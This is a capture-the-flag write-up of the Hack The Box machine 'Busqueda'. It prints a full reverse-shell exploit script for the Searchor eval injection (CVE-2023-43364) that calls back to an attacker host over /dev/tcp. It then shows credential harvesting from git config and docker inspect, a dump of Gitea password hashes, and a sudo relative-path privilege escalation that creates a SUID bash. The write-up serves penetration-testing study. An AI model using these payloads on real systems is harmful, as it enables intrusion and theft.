Introduction #
Busqueda starts with a website that creates search links to various other sites based on user input. It is using the Python Searchor tool with a vulnerability - an unsafe eval that can be used to get code execution. On the machine, the user can run a Python script with sudo, but I do not have read permissions to see the script. I will find it in Gitea, and use that to run arbitrary code as root.
nmap #
nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.228.217
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
| 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The title is searcher.htb, add it to /etc/hosts
Web - TCP 80 #
The website is kind of search engine that generates URLs for search on various sites:

When I search for something I get URL for search on selected site:


At the bottom there are some backend information, it is running on Flask and Searchor 2.4.0:

I will come back to this later.
Subdomain enum #
I have the domain name, so I will try to find any available subdomains of seacher.htb:
└─$ ffuf -w ~/Tools/directory-list-custom.txt:FUZZ -u http://searcher.htb/ -H 'Host: FUZZ.searcher.htb' -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://searcher.htb/
:: Wordlist : FUZZ: /home/kali/Tools/directory-list-custom.txt
:: Header : Host: FUZZ.searcher.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
gitea [Status: 200, Size: 13237, Words: 1009, Lines: 268, Duration: 51ms]
It returns with one hit, gitea, add gitea.searchor.htb to /etc/hosts and check it:

I do not have any credentials yet, so I will have to try something else.
Shell as svc #
Looking back at Searchor 2.4.0, quick search for Searchor 2.4.0 cve points me towards CVE-2023-43364, Advisory:
main.py in Searchor before 2.4.2 uses eval on CLI input, which may cause unexpected code execution.
An issue in Arjun Sharda’s Searchor before version v.2.4.2 allows an attacker to execute arbitrary code via a crafted script to the eval() function in Searchor’s src/searchor/main.py file, affecting the search feature in Searchor’s CLI.
Exploit description #
From this PoC I get the script below:
└─$ cat exploit.sh
#!/bin/bash -
default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"
echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"
if [ -z "${evil_cmd##*$plus*}" ]
then
evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi
if [ $# -ne 0 ]
then
echo "[*] Input target is $1"
echo "[*] Input attacker is $2:${port}"
echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else
echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi
The script exploits a command injection vulnerability to establish a reverse shell connection from a vulnerable target server back to an attacker’s machine.
1. Configuration (lines 3-5)
- Sets default port to 9001
- Creates a base64-encoded reverse shell payload that connects back to the attacker’s IP
2. Payload construction (line 6)
- Wraps the reverse shell in Python using
__import__('os').system() - This exploits a code injection vulnerability in Searchor’s search functionality
- The payload decodes and executes the base64 reverse shell command
3. URL encoding (lines 10-14)
- Checks if the payload contains plus signs
- Replaces them with
%2B(URL-encoded) to avoid issues in HTTP requests
4. Execution (lines 16-25)
- Validates that target and attacker IPs are provided
- Sends a POST request to the target’s
/searchendpoint - Injects the malicious payload in the
queryparameter - If successful, the target connects back to the attacker, giving them shell access
Now just fill in the IPs and port and run it:
└─$ ./exploit.sh searcher.htb 10.10.15.47 4444
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.15.47:4444
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
After few seconds I get a reverse shell on the awaiting listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.47] from (UNKNOWN) [10.129.228.217] 49850
bash: cannot set terminal process group (1548): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
Shell as root #
Enumeration #
There is not much in svc’s home directory, only interesting file is .gitconfig:
svc@busqueda:~$ ls -la
ls -la
total 36
drwxr-x--- 4 svc svc 4096 Apr 3 2023 .
drwxr-xr-x 3 root root 4096 Dec 22 2022 ..
lrwxrwxrwx 1 root root 9 Feb 20 2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
drwx------ 2 svc svc 4096 Feb 28 2023 .cache
-rw-rw-r-- 1 svc svc 76 Apr 3 2023 .gitconfig
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
lrwxrwxrwx 1 root root 9 Apr 3 2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc 33 Jan 4 09:05 user.txt
svc@busqueda:~$ cat .gitconfig
cat .gitconfig
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
It gives me possible username cody
Web files #
Code for the website is in /var/www/app:
svc@busqueda:/var/www/app$ ls -la
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 .
drwxr-xr-x 4 root root 4096 Apr 4 2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jan 4 09:05 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$ cd .git
cd .git
svc@busqueda:/var/www/app/.git$ ls -la
ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jan 4 09:05 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
svc@busqueda:/var/www/app/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
It has a config file with credentials for gitea: cody:jh1usoih2bkjaspwe92
It also works for ssh
Gitea #
Returning back to Gitea, I now have credentials I could use to sign in:

It contains the code for the site, but nothing new.

Sudo #
Continuing with enumeration I check sudo -l:
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
I can run a python script, but can not read it:
svc@busqueda:~$ cat /opt/scripts/system-checkup.py
cat: /opt/scripts/system-checkup.py: Permission denied
svc@busqueda:~$ ls -la /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24 2022 /opt/scripts/system-checkup.py
The * at the end represents expected argument:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py
Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda.
I can put there anything at it returns me some usage information:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py test_param
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Going one by one, docker-ps returns something that looks suspiciously like docker ps output:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 2 years ago Up 50 minutes 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 2 years ago Up 50 minutes 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Next, the docker-inspect requires two parameters:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
From the docker docs and formatting I get expected format of format and from docker-ps names of the available containers:
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
It return A LOT, the only important being this:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
{
"Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
"Created": "2023-01-06T17:26:54.457090149Z",
"Path": "/usr/bin/entrypoint",
"Args": [
"/bin/s6-svscan",
"/etc/s6"
],
<SNIP>
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
<SNIP>
}
There is info about database and a password.
Last command, full-checkup returns unspecified error:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
Database #
Next, to check the database I need to find it first.
The second docker container mysql_db looks promising. I can run the docker-inspect on it using THIS format:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $INSTANCE_ID
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .NetworkSettings.Networks}}' mysql_db | jq .
{
"docker_gitea": {
"IPAMConfig": null,
"Links": null,
"Aliases": [
"f84a6b33fb5a",
"db"
],
"NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
"EndpointID": "8219708fc1d5c21d95e7afc0bdbdeff6e2e3d9968f4be9306bf859a89cdabf9d",
"Gateway": "172.19.0.1",
"IPAddress": "172.19.0.3",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:13:00:03",
"DriverOpts": null
}
From this I get a database IP: 172.19.0.3.
Now, I can connect and get passwords:
svc@busqueda:~$ mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 196
Server version: 8.0.31 MySQL Community Server - GPL
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| gitea |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
mysql> use gitea;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| gitea |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
mysql> show tables;
+---------------------------+
| Tables_in_gitea |
+---------------------------+
<SNIP>
| user |
<SNIP>
+---------------------------+
91 rows in set (0.01 sec)
mysql> select name, email, passwd, passwd_hash_algo from user;
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+------------------+
| name | email | passwd | passwd_hash_algo |
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+------------------+
| administrator | administrator@gitea.searcher.htb | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 | pbkdf2 |
| cody | cody@gitea.searcher.htb | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e | pbkdf2 |
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+------------------+
2 rows in set (0.01 sec)
I attempted to crack them, but it was not needed in the end.
system-checkup #
The Gitea administrator account uses the same password as the database:

Administrator have new repository, scripts:

And there is system-checkup.py inside:


#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
if __name__ == '__main__':
try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError
except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)
Looking at the full-checkup section:
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
It is attemptiong to run full-checkup.sh, importantly, it is looking for the file in the current directory. It failed before because that file did not exist there.
Exploit #
I can create a full-checkup.sh file with anything I want and attempt to run it:
svc@busqueda:/dev/shm$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/tester\nchmod 4777 /tmp/tester' > full-checkup.sh
svc@busqueda:/dev/shm$ cat full-checkup.sh
#!/bin/bash
cp /bin/bash /tmp/tester
chmod 4777 /tmp/tester
svc@busqueda:/dev/shm$ chmod +x full-checkup.sh
svc@busqueda:/dev/shm$ sudo python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
It ran without any issues … it should have created a /tmp/tester that would give me root access, check it:
svc@busqueda:/dev/shm$ ls -la /tmp
total 1428
drwxrwxrwt 16 root root 4096 Jan 4 10:25 .
drwxr-xr-x 19 root root 4096 Mar 1 2023 ..
<SNIP>
-rwsrwxrwx 1 root root 1396520 Jan 4 10:25 tester
It worked, the tester is owned by root
When I run it I am root:
svc@busqueda:/dev/shm$ /tmp/tester -p
tester-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
tester-5.1# cat /rrot/root.txt
cat: /rrot/root.txt: No such file or directory
tester-5.1# cat /root/root.txt
ef46b282.........9f249d2976
tester-5.1#
And that is it!